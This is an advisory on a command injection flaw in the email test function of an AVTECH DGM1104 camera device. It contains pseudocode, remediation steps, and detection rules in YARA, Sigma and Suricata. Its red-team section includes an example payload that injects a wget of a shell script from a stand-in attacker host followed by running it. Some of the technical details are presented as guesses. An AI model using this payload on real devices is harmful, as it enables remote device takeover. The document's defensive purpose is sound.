CVE-2025-57200

Executive Summary

CVE-2025-57200 is an authenticated command injection vulnerability discovered in the AVTECH Security Corporation DGM1104 device running firmware version FullImg-1015-1004-1006-1003. The flaw resides in the test_mail function, allowing an authenticated attacker to inject arbitrary operating system commands via crafted input. This can lead to full device compromise, data exfiltration, or lateral movement within the network. No public proof-of-concept (PoC) or patch is currently available, and the CVSS score is listed as 0.0 due to incomplete NVD data. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for exposed devices.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD placeholder – likely to be scored after full analysis)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): Low (authenticated)
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): High
• Integrity (I): High
• Availability (A): High
• Threat Level: High (due to potential for full device takeover)

Deep Dive & Mechanics

The vulnerability exists in the test_mail function of the AVTECH DGM1104 firmware. This function is designed to test email server connectivity by sending a test email. The input parameters (e.g., SMTP server, port, credentials) are not properly sanitized before being passed to a system shell command. An authenticated attacker can inject shell metacharacters (e.g., ;, |, &&) into one of these fields, causing the device to execute arbitrary commands with the privileges of the web server process (typically root).

The injection point is likely in the SMTP server address or email body fields. The function constructs a command like sendmail -S <server> -p <port> ... and passes user input directly without escaping. This allows an attacker to break out of the intended command and run arbitrary OS commands.

Vulnerable vs. Patched Code

Vulnerable Code (pseudocode):

void test_mail(char *server, char *port, char *from, char *to) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "sendmail -S %s -p %s -f %s -t %s", server, port, from, to);
    system(cmd);
}

Patched Code (hypothetical):

void test_mail(char *server, char *port, char *from, char *to) {
    // Validate and sanitize inputs
    if (!is_valid_hostname(server) || !is_valid_port(port) || !is_valid_email(from) || !is_valid_email(to)) {
        log_error("Invalid input");
        return;
    }
    // Use execve with arguments array to avoid shell injection
    char *args[] = {"sendmail", "-S", server, "-p", port, "-f", from, "-t", to, NULL};
    execve("/usr/sbin/sendmail", args, NULL);
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain an AVTECH DGM1104 device or use a firmware emulator (e.g., QEMU with ARM architecture).
2. Flash firmware FullImg-1015-1004-1006-1003.
3. Access the web interface (default credentials often admin/admin).
4. Navigate to the email test function (likely under System Settings > Email).

Exploitation Steps:

1. Authenticate to the web interface.
2. In the SMTP server field, inject a command: ; id > /tmp/out;
3. Submit the form.
4. Verify command execution by checking /tmp/out via another vulnerability or by observing outbound connections.

Example Payload:

# In the SMTP server field:
smtp.example.com; wget http://attacker.com/shell.sh -O /tmp/shell.sh; sh /tmp/shell.sh;

Blue Team

Detection:

• Monitor for unusual outbound connections from the device to unknown IPs.
• Check logs for shell metacharacters in email configuration fields.
• Use network segmentation to limit device exposure.

Hunting:

• Search for processes spawned by the web server (e.g., sendmail, sh, bash).
• Look for files created in /tmp with suspicious names.

Indicators of Compromise (IOCs)

• Network: Outbound connections to attacker-controlled IPs on ports 80, 443, or 4444.
• File: Presence of /tmp/shell.sh, /tmp/out, or other unexpected files.
• Process: Unusual processes like nc, bash, python running as root.
• Log: Entries in web server logs containing ;, |, && in email fields.

Detection Engineering

YARA Rule

rule CVE_2025_57200_Command_Injection {
    meta:
        description = "Detects command injection attempts in AVTECH DGM1104 test_mail function"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-57200"
    strings:
        $injection1 = /test_mail.*[;&|`$]/
        $injection2 = /smtp.*[;&|`$]/
        $injection3 = /email.*[;&|`$]/
    condition:
        any of them
}

Sigma Rule

title: AVTECH DGM1104 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects command injection in AVTECH DGM1104 test_mail function
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "test_mail"
        c-query|contains:
            - ";"
            - "|"
            - "&&"
            - "`"
    condition: selection
falsepositives:
    - Legitimate use of special characters in email addresses (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-57200 AVTECH DGM1104 Command Injection"; flow:to_server,established; content:"test_mail"; http_uri; pcre:"/(?:[;&|`$]|\\|\\|)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from the internet and untrusted networks.
2. Restrict access to the web interface to trusted IPs only.
3. Change default credentials immediately.

Long-term Fix:

• Await an official firmware patch from AVTECH Security Corporation.
• If no patch is forthcoming, consider replacing the device with a secure alternative.

Workaround:

• Disable the email test function if not needed.
• Implement a web application firewall (WAF) rule to block shell metacharacters in email fields.

Valters IT
Securing Digital Frontiers